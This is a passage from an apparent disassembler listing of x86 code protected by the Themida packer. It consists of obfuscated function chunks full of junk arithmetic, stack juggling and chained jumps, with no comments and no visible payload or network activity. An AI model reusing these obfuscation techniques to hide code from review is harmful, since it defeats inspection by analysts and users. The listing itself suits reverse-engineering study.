		mov	ax, [esp]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55CC58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55908E:				; CODE XREF: sub_559C84+23E7j
		pop	edx
		shl	ch, 6
		jmp	sub_559A2E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559AA2


loc_559097:				; CODE XREF: sub_559AA2-644Cj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ecx
		jmp	loc_5537E8
; END OF FUNCTION CHUNK	FOR sub_559AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5590B7:				; CODE XREF: sub_559C84-675Cj
		mov	ch, 0BFh
		push	7252h
		mov	[esp+8+var_8], ebx
		push	edx
		mov	dh, 62h
		mov	bh, dh
		pop	edx
		xor	ch, bh
		pop	ebx
		push	eax
		mov	al, 0FDh
		push	edx
		mov	dh, 0F9h
		push	585Ah
		mov	[esp+10h+var_10], eax
		jmp	loc_558264
; ---------------------------------------------------------------------------


loc_5590DD:				; CODE XREF: sub_559C84+4B5Ej
		pop	ecx
		pop	edx
		jmp	loc_559E3B
; ---------------------------------------------------------------------------


loc_5590E4:				; CODE XREF: sub_559C84-305Fj
		sub	esi, 6FE9489Bh
		add	esi, 5E5C0FA2h
		mov	eax, esi
		pop	esi
		jmp	loc_558302
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_5590F8:				; CODE XREF: sub_557976-3626j
		shr	al, 8
		dec	al
		push	ecx
		mov	ch, dh
		mov	dh, al
		jmp	loc_55BF95
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559107:				; CODE XREF: sub_559C84-46B3j
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		jmp	loc_556B33
; ---------------------------------------------------------------------------


loc_559115:				; CODE XREF: sub_559C84-271j
		pop	ecx
		push	edx
		mov	dl, 1
		xor	dl, 0B1h
		or	al, dl
		pop	edx
		shl	al, 8
		xor	al, 75h
		or	ch, al
		pop	eax
		jmp	loc_5584BC
; ---------------------------------------------------------------------------


loc_55912C:				; CODE XREF: sub_559C84-190Fj
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_24+2]
		btr	word ptr [esp+22h+var_24+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55913D:				; CODE XREF: sub_559C84-1A54j
		push	46DB6101h
		pop	ecx
		add	ecx, 7A00D7h
		jmp	loc_55510D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55914E:				; CODE XREF: sub_555BE3+Bj
		mov	[esp+8+var_8], esp
		jmp	loc_55752D
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559156:				; CODE XREF: sub_559C84-23AFj
		push	esi
		mov	esi, 2B8C51B0h
		jmp	loc_55D741
; ---------------------------------------------------------------------------


loc_559161:				; CODE XREF: sub_559C84-60DFj
		push	edx
		mov	dl, 6Eh
		shr	dl, 5
		dec	dl
		shr	dl, 7
		jmp	loc_55F4F8
; ---------------------------------------------------------------------------


loc_559171:				; CODE XREF: sub_559C84+19FDj
		sub	edx, 179700F5h
		jmp	loc_554884
; ---------------------------------------------------------------------------


loc_55917C:				; CODE XREF: sub_559C84+49D2j
		mov	ebp, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55918A:				; CODE XREF: sub_559C84+5156j
		pop	esp
		jmp	loc_55E0AF
; ---------------------------------------------------------------------------


loc_559190:				; CODE XREF: sub_559C84+306Cj
		xor	edi, esi
		jmp	loc_55C4FB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55E0A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5591BF:				; CODE XREF: sub_559C84-30C2j
		mov	[esp+52h+var_52], ecx
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5591C7	proc near		; CODE XREF: sub_559C84-195Bj

; FUNCTION CHUNK AT 00554198 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555414 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557632 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00558A3F SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 4B375862h
		inc	ebx
		sub	ebx, 0F15A0866h
		jmp	loc_558A3F
sub_5591C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5591D9:				; CODE XREF: sub_559C84+184Bj
		sub	al, 59h
		push	bx
		mov	bl, 8Dh
		sub	al, bl
		pop	bx
		pop	ecx
		push	small 2D3Ch
		mov	word ptr [esp+50h+var_52+2], cx
		push	30CAh
		mov	[esp+0], ebx
		mov	bh, 0BDh
		or	bh, 37h
		inc	bh
		xor	bh, 1Eh
		shr	bh, 8
		push	edx
		mov	dh, 1
		sub	bh, dh
		pop	edx
		push	edx
		push	eax
		mov	al, 0F4h
		mov	dh, al
		pop	eax
		sub	bh, dh
		pop	edx
		push	eax
		push	ecx
		mov	ch, 8Eh
		jmp	loc_55D521
; ---------------------------------------------------------------------------


loc_55921A:				; CODE XREF: sub_559C84+1A9Ej
		pop	ebx
		jmp	loc_553A16
; ---------------------------------------------------------------------------


loc_559220:				; CODE XREF: sub_559C84+635j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		pop	esp
		push	edx
		push	4
		jmp	loc_557393
; ---------------------------------------------------------------------------


loc_559238:				; CODE XREF: sub_559C84+2183j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F7BD
; ---------------------------------------------------------------------------


loc_559246:				; CODE XREF: sub_559C84-D87j
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_55F746
; ---------------------------------------------------------------------------


loc_559254:				; CODE XREF: sub_559C84-60ACj
		sub	eax, 518A4A9Ah
		sub	eax, edx
		add	eax, 518A4A9Ah
		pop	edx
		add	eax, 14EF17DEh
		jmp	loc_55A8D8
; ---------------------------------------------------------------------------


loc_55926B:				; CODE XREF: sub_559C84+45B0j
		mov	ebp, 4
		push	edx
		jmp	loc_5586A2
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559276:				; CODE XREF: Themida_:005583C7j
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_556729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559288:				; CODE XREF: sub_559C84+10BFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_5571A4
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55929E	proc near		; CODE XREF: sub_559C84-2437j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005557D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055768B SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 2
		push	6D42h
		mov	[esp+4+var_4], ebp
		jmp	loc_5557D1
sub_55929E	endp

; ---------------------------------------------------------------------------


loc_5592BC:				; CODE XREF: Themida_:005582F1j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5589DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5592CE:				; CODE XREF: sub_559C84+5AA4j
		add	esi, 4
		add	esi, 4
		jmp	loc_55F4EF
; ---------------------------------------------------------------------------


loc_5592DC:				; CODE XREF: sub_559C84+ABFj
		add	[esp+18h+var_10], edx
		pop	edx
		pop	edi
		push	[esp+10h+var_10]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_556AC3
; ---------------------------------------------------------------------------


loc_5592EE:				; CODE XREF: sub_559C84-2207j
		xchg	edi, [esp-0Eh+arg_8+2]
		pop	esp
		mov	[esp-12h+arg_C+2], ebp
		push	[esp-12h+arg_10+2]
		pop	ebp
		pop	[esp-12h+arg_C+2]
		mov	esp, [esp-16h+arg_10+2]
		mov	dx, word ptr [esp-16h+arg_10+2]
		jmp	loc_555EEB
; ---------------------------------------------------------------------------


loc_559309:				; CODE XREF: sub_559C84-FC1j
		push	edx
		jmp	loc_558AA7
; ---------------------------------------------------------------------------


loc_55930F:				; CODE XREF: sub_559C84-3C82j
		pop	ebx
		push	5229h
		mov	[esp+4Ah+var_4A], ebp
		push	edi
		mov	edi, 2D6E7C11h
		jmp	loc_55DE89
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559323:				; CODE XREF: Themida_:005599DAj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55F9B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559334:				; CODE XREF: sub_559C84-5C1Dj
		sub	ebp, 4DB87C9Eh
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-6+arg_0+2], ecx
		push	ebp
		mov	ebp, 18525C3Fh
		push	edi
		push	ebx
		mov	ebx, 2BB56CCFh
		mov	edi, 2C16CFC5h
		sub	edi, ebx
		pop	ebx
		xor	ebp, edi
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		sub	eax, ecx
		push	[esp-6+arg_0+2]
		pop	ecx
		add	esp, 4
		jmp	loc_557351
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5538DF


loc_559375:				; CODE XREF: sub_5538DF+4D78j
		add	al, cl
		pop	ecx
		sub	ch, al
		pop	eax
		inc	ch
		xor	ch, 13h
		sub	ch, 0B8h
		jmp	loc_55A282
; END OF FUNCTION CHUNK	FOR sub_5538DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559388:				; CODE XREF: sub_559C84+36C9j
		push	1E59h
		mov	[esp-6+arg_0+2], eax
		jmp	loc_55EBB4
; ---------------------------------------------------------------------------


loc_559395:				; CODE XREF: sub_559C84+133Aj
		add	eax, 6B882492h
		sub	eax, 5801188Bh
		mov	ebp, [esp-6+arg_0+2]
		jmp	loc_55A29D
; ---------------------------------------------------------------------------


loc_5593A7:				; CODE XREF: sub_559C84+38EAj
		dec	word ptr [esp-6+arg_0+2]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5593B1:				; CODE XREF: sub_559C84-1101j
		push	[esp+22h+var_24+2]
		pop	edi
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ecx
		xor	ecx, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		idiv	cx
		sub	esp, 4
		jmp	loc_5542CD
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_5593D5:				; CODE XREF: sub_557976+7FB1j
		dec	dh
		add	dh, 52h
		jmp	loc_555012
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5593DF:				; CODE XREF: sub_559C84+6ADj
		mov	edx, 107A18D4h
		add	eax, edx
		jmp	loc_55C3A7
; ---------------------------------------------------------------------------


loc_5593EB:				; CODE XREF: sub_559C84-17B6j
		pop	ebx
		sub	al, 0DBh
		sub	al, ch
		jmp	loc_55EB97
; ---------------------------------------------------------------------------


loc_5593F5:				; CODE XREF: sub_559C84-1C92j
		push	6CB6h
		mov	[esp+52h+var_52], eax
		push	2495h
		mov	[esp+56h+var_58+2], esp
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], edi
		mov	edi, 4
		add	[esp+5Ah+var_58+2], edi
		pop	edi
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+52h+var_52]
		xor	[esp+52h+var_52], eax
		xor	eax, [esp+52h+var_52]
		mov	esp, [esp+52h+var_52]
		add	eax, 1B455BF8h
		jmp	sub_55E342
; ---------------------------------------------------------------------------


loc_559437:				; CODE XREF: sub_559C84-1C88j
		pop	edi
		xor	ebx, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebx
		xor	ebx, [esp+10h+var_10]
		jmp	loc_55FBBF
; ---------------------------------------------------------------------------


loc_559446:				; CODE XREF: sub_559C84+32D7j
		add	eax, ebp
		pop	ebp
		jmp	loc_553B8C
; ---------------------------------------------------------------------------


loc_55944E:				; CODE XREF: sub_559C84-28F0j
		add	edi, edx
		pop	edx
		add	edi, 2
		xor	edi, [esp+50h+var_52+2]
		jmp	loc_55C47B
; ---------------------------------------------------------------------------


loc_55945F:				; CODE XREF: sub_559C84+4B20j
		neg	ch
		push	eax
		mov	al, 29h
		jmp	loc_558B0C
; ---------------------------------------------------------------------------


loc_559469:				; CODE XREF: sub_559C84-538Cj
		add	ebx, edx
		jmp	loc_55D7DE
; ---------------------------------------------------------------------------


loc_559470:				; CODE XREF: sub_559C84-546Aj
		pop	eax
		add	bl, 0C1h
		add	bl, al
		sub	bl, 0C1h
		push	eax
		jmp	loc_55C734
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		db 0ACh
		dd 92E90B04h, 83FFFFE6h, 148904ECh, 0EC815024h,	4, 0BF243C89h
		dd 27235F8Dh, 107DEF81h, 92E9F534h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5594A7:				; CODE XREF: sub_559C84+2CC0j
		pop	edi
		jmp	loc_55F4A3
; ---------------------------------------------------------------------------


loc_5594AD:				; CODE XREF: sub_559C84+F30j
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 542D5347h
		xor	edx, 5FC96800h
		sub	edx, 0BE43B43h
		add	edi, edx
		pop	edx
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp+44h+var_46+2]
		pop	eax
		push	edi
		jmp	loc_55BCFB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 5C4546FDh
		jmp	loc_55D612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5594F0:				; CODE XREF: sub_559C84-1EA2j
		mov	[esp+2+var_4+2], ecx
		push	eax
		jmp	loc_555F7D
; ---------------------------------------------------------------------------


loc_5594F9:				; CODE XREF: sub_559C84-2CFAj
		pop	ebp
		add	esp, 4
		inc	edi
		push	ebx
		mov	ebx, 5AFB40DAh
		jmp	loc_553EDF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559509:				; DATA XREF: Themida_:00553260o
		lodsb
		xor	al, bl
		jmp	loc_55AEAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559511:				; CODE XREF: sub_559C84+4297j
		add	ecx, edx
		pop	edx
		jmp	loc_55A5A3
; ---------------------------------------------------------------------------


loc_559519:				; CODE XREF: sub_559C84+464Dj
		push	7F0Eh
		mov	[esp+10h+var_10], eax
		push	esi
		mov	esi, 56150EF7h
		jmp	loc_556C12
; ---------------------------------------------------------------------------


loc_55952C:				; CODE XREF: sub_559C84+2994j
		push	edx
		mov	dh, cl
		jmp	loc_5580CC
; ---------------------------------------------------------------------------


loc_559534:				; CODE XREF: sub_559C84+5815j
		add	eax, ebx
		push	[esp+18h+var_18]
		pop	ebx
		add	esp, 4
		jmp	sub_55DC14
; ---------------------------------------------------------------------------


loc_559542:				; CODE XREF: sub_559C84-5297j
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp+42h+var_42]
		pop	esp
		jmp	loc_55E91B
; ---------------------------------------------------------------------------


loc_559551:				; CODE XREF: sub_559C84-6546j
		sub	ebx, 77B81706h
		sub	ebx, eax
		add	ebx, 77B81706h
		push	esi
		jmp	loc_55FBC7
; ---------------------------------------------------------------------------


loc_559565:				; CODE XREF: sub_559C84-2889j
		pop	ecx
		jmp	loc_55CF3C
; ---------------------------------------------------------------------------


loc_55956B:				; CODE XREF: sub_559C84+24C1j
		or	bh, 4
		jmp	loc_553A03
; ---------------------------------------------------------------------------


loc_559573:				; CODE XREF: sub_559C84-2824j
		mov	ecx, [esp+5Eh+var_60+2]
		push	edx
		jmp	loc_55C30A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55957C:				; CODE XREF: Themida_:0055717Ej
		add	[esp+4], ebx
		jmp	loc_555BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559585:				; CODE XREF: sub_559C84-2701j
		add	[esp+50h+var_52+2], 4
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 2
		add	ebx, 21BB79F7h
		sub	ebx, edx
		sub	ebx, 21BB79F7h
		jmp	loc_556A78
; ---------------------------------------------------------------------------


loc_5595AC:				; CODE XREF: sub_559C84-5281j
		add	ecx, 0B51D1D4Bh
		add	eax, ecx
		pop	ecx
		jmp	loc_557728
; ---------------------------------------------------------------------------


loc_5595BA:				; CODE XREF: sub_559C84-3595j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Eh+var_4E]
		pop	esp
		sub	ebp, 4
		xor	ebp, [esp+4Ah+var_4A]
		jmp	loc_559DC1
; ---------------------------------------------------------------------------


loc_5595D4:				; CODE XREF: sub_559C84+2590j
		add	ebx, 4
		jmp	loc_558CDA
; ---------------------------------------------------------------------------


loc_5595DF:				; CODE XREF: sub_559C84+2FB2j
		xor	edi, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		idiv	cl
		movzx	cx, ah
		push	small 34FAh
		mov	word ptr [esp+4Ch+var_4E+2], cx
		jmp	loc_553ED3
; ---------------------------------------------------------------------------


loc_5595F8:				; CODE XREF: sub_559C84-1F1Ej
		pop	ebp
		sub	eax, 682A6C97h
		xor	eax, 31536340h
		neg	eax
		sub	esp, 4
		mov	[esp+0], ebp
		push	esi
		push	7D4E7291h
		jmp	loc_5565A8
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55598B


loc_559619:				; CODE XREF: sub_55598B+22j
		xor	ebp, eax
		jmp	loc_55A157
; END OF FUNCTION CHUNK	FOR sub_55598B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559620:				; CODE XREF: sub_559C84+396Dj
		pop	ax
		sub	bl, 98h
		add	al, bl
		pop	ebx
		push	dx
		push	eax
		jmp	loc_559885
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559630:				; DATA XREF: Themida_:0055326Co
		push	ecx
		mov	ecx, esp
		jmp	loc_5582BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559638:				; CODE XREF: sub_559C84+317Dj
		add	edx, 22A45D5Dh
		add	edx, ebx
		sub	edx, 22A45D5Dh
		jmp	loc_559944
; ---------------------------------------------------------------------------


loc_55964B:				; CODE XREF: sub_559C84-12EBj
		add	bl, al
		pop	eax
		movzx	eax, al
		jmp	loc_555D3E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E1F9


loc_559656:				; CODE XREF: sub_55E1F9+6j
		add	ebp, 16CE2B9Dh
		jmp	loc_55EFD0
; END OF FUNCTION CHUNK	FOR sub_55E1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559661:				; CODE XREF: sub_559C84+230Cj
		mov	ebp, esp
		jmp	loc_557445
; ---------------------------------------------------------------------------


loc_559668:				; CODE XREF: sub_559C84+3429j
		mov	ecx, 0
		jmp	loc_55E836
; ---------------------------------------------------------------------------


loc_559672:				; CODE XREF: sub_559C84-43B5j
		add	esi, 4
		jmp	loc_557FA0
; ---------------------------------------------------------------------------


loc_55967D:				; CODE XREF: sub_559C84+EFCj
		xor	ebp, 922947D7h
		sub	ebx, 186104E0h
		jmp	loc_55E5AB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55968E:				; CODE XREF: Themida_:0055630Dj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_55FBD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55969F:				; CODE XREF: sub_559C84-32C5j
		xor	[esp+52h+var_52], edx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ecx
		mov	ecx, 73582E6Bh
		dec	ecx
		sub	ecx, 73652DB7h
		jmp	loc_55722C
; ---------------------------------------------------------------------------


loc_5596BF:				; CODE XREF: sub_559C84+2CABj
		pop	[esp+5Ah+var_5C+2]
		mov	esp, [esp+56h+var_58+2]
		sar	word ptr [esp+56h+var_58+2], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5596CF:				; CODE XREF: sub_559C84+5F81j
		sub	ebp, 0A96FA722h
		xor	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 3B1F6FB7h
		and	esi, ebp
		pop	ebp
		jmp	loc_55603F
; ---------------------------------------------------------------------------


loc_5596E6:				; CODE XREF: sub_559C84+4AFAj
		push	edi
		mov	edi, 176C04A5h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_55C664
; ---------------------------------------------------------------------------


loc_5596F7:				; CODE XREF: sub_559C84-432Cj
		pop	esp
		mov	word ptr [esp-14h+arg_10], dx
		jmp	loc_55CF35
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		pop	eax
		push	649h
		jmp	loc_55A1DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559713:				; CODE XREF: sub_559C84-3957j
		add	al, 0FCh
		sub	al, dl
		jmp	loc_55F7EE
; ---------------------------------------------------------------------------


loc_55971C:				; CODE XREF: sub_559C84-3C9Dj
		push	ax
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559724:				; CODE XREF: Themida_:0055F869j
		or	esi, 3B727AF4h
		add	esi, 84048406h
		jmp	loc_55B2D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559735:				; CODE XREF: sub_559C84+34FCj
		xor	eax, [esp+18h+var_18]
		pop	esp
		jmp	loc_555862
; ---------------------------------------------------------------------------


loc_55973E:				; CODE XREF: sub_559C84-2A51j
		shl	ecx, 6
		jmp	loc_558459
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_559746:				; CODE XREF: Themida_:00554A10j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EEE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559754:				; CODE XREF: sub_559C84+4C46j
		add	esi, 9990DA5h
		jmp	loc_55E940
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_55975F:				; CODE XREF: sub_558BA2-5270j
		pop	esi
		sub	eax, 3753231Fh
		add	eax, edi
		add	eax, 3753231Fh
		jmp	loc_5578DA
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559771:				; CODE XREF: sub_559C84+10B1j
		add	esi, ecx
		add	esi, 1367558Ah
		sub	esi, 162C5EBBh
		pop	ecx
		jmp	loc_556D25
; ---------------------------------------------------------------------------


loc_559785:				; CODE XREF: sub_559C84+1E92j
		pop	ebx
		add	esi, ecx
		pop	ecx
		push	ecx
		jmp	loc_554D4B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_55978F:				; CODE XREF: sub_558BA2-12C3j
		push	edx
		jmp	loc_557852
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554517


loc_559795:				; CODE XREF: sub_554517+6j
		or	[edi+1Ch], esi
		jmp	loc_55AA17
; END OF FUNCTION CHUNK	FOR sub_554517
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55979D:				; CODE XREF: sub_559C84+25F6j
		pop	esp
		jmp	loc_5549A7
; ---------------------------------------------------------------------------


loc_5597A3:				; CODE XREF: sub_559C84-3Ej
		mov	edx, 3187327Dh
		mov	eax, edx
		mov	edx, [esp+52h+var_52]
		add	esp, 4
		xor	ebp, eax
		pop	eax
		or	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 6F063EFDh
		jmp	loc_55D8FC
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5597C1	proc near		; CODE XREF: sub_559C84-489Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553F39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055865C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559BF3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055DF06 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055F156 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	2CD4h
		mov	[esp+8+var_8], ecx
		mov	ecx, 2673099h
		not	ecx
		push	844h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 0E8548A5h
		add	esi, 4E070A2Ah
		dec	esi
		push	ecx
		mov	ecx, 25FB0821h
		and	ecx, 742675F7h
		and	ecx, 2B7610CDh
		shr	ecx, 6
		shl	ecx, 8
		inc	ecx
		add	ecx, 83A463A4h
		xor	esi, ecx
		pop	ecx
		add	esi, 0A4F88DFBh
		sub	ecx, esi
		jmp	loc_55865C
sub_5597C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559819:				; CODE XREF: sub_559C84+56ADj
		push	ecx
		jmp	loc_555294
; ---------------------------------------------------------------------------


loc_55981F:				; CODE XREF: sub_559C84-45EFj
		xor	esi, 0D9D6671Ah
		sub	ebx, esi
		pop	esi
		sub	ebx, esi
		jmp	loc_5547EF
; ---------------------------------------------------------------------------


loc_55982F:				; CODE XREF: sub_559C84+2EB2j
		push	esi
		jmp	loc_555260
; ---------------------------------------------------------------------------


loc_559835:				; CODE XREF: sub_559C84-42C5j
		push	[esp-14h+arg_14]
		pop	edx
		pop	[esp-14h+arg_10]
		jmp	loc_55DA90
; ---------------------------------------------------------------------------


loc_559842:				; CODE XREF: sub_559C84+114Fj
		dec	edx
		xor	edx, 5DC208CFh
		push	edi
		mov	edi, 386B4903h
		dec	edi
		dec	edi
		dec	edi
		jmp	loc_55538E
; ---------------------------------------------------------------------------


loc_559857:				; CODE XREF: sub_559C84-333Bj
		mov	ebx, 682F2B4Ch
		xor	ebx, ebp
		pop	ebp
		sub	ebx, 1B3E6033h
		push	ecx
		jmp	loc_5544BA
; ---------------------------------------------------------------------------


loc_55986B:				; CODE XREF: sub_559C84+1040j
		add	esi, 4
		xchg	esi, [esp-24h+arg_20]
		pop	esp
		xor	edi, [esp-28h+arg_24]
		jmp	loc_559053
; ---------------------------------------------------------------------------


loc_55987A:				; CODE XREF: sub_559C84-1C0Cj
		xor	edx, 431564AFh
		jmp	loc_554AAE
; ---------------------------------------------------------------------------


loc_559885:				; CODE XREF: sub_559C84-659j
		mov	ah, 2Fh
		push	cx
		mov	cl, 0AFh
		mov	dh, cl
		pop	cx
		sub	dh, 0C8h
		jmp	sub_55523E
; ---------------------------------------------------------------------------


loc_559897:				; CODE XREF: sub_559C84+1CC9j
		sub	esi, edi
		jmp	loc_5553A2
; ---------------------------------------------------------------------------


loc_55989E:				; CODE XREF: sub_559C84-2ED7j
		shr	ebx, 8
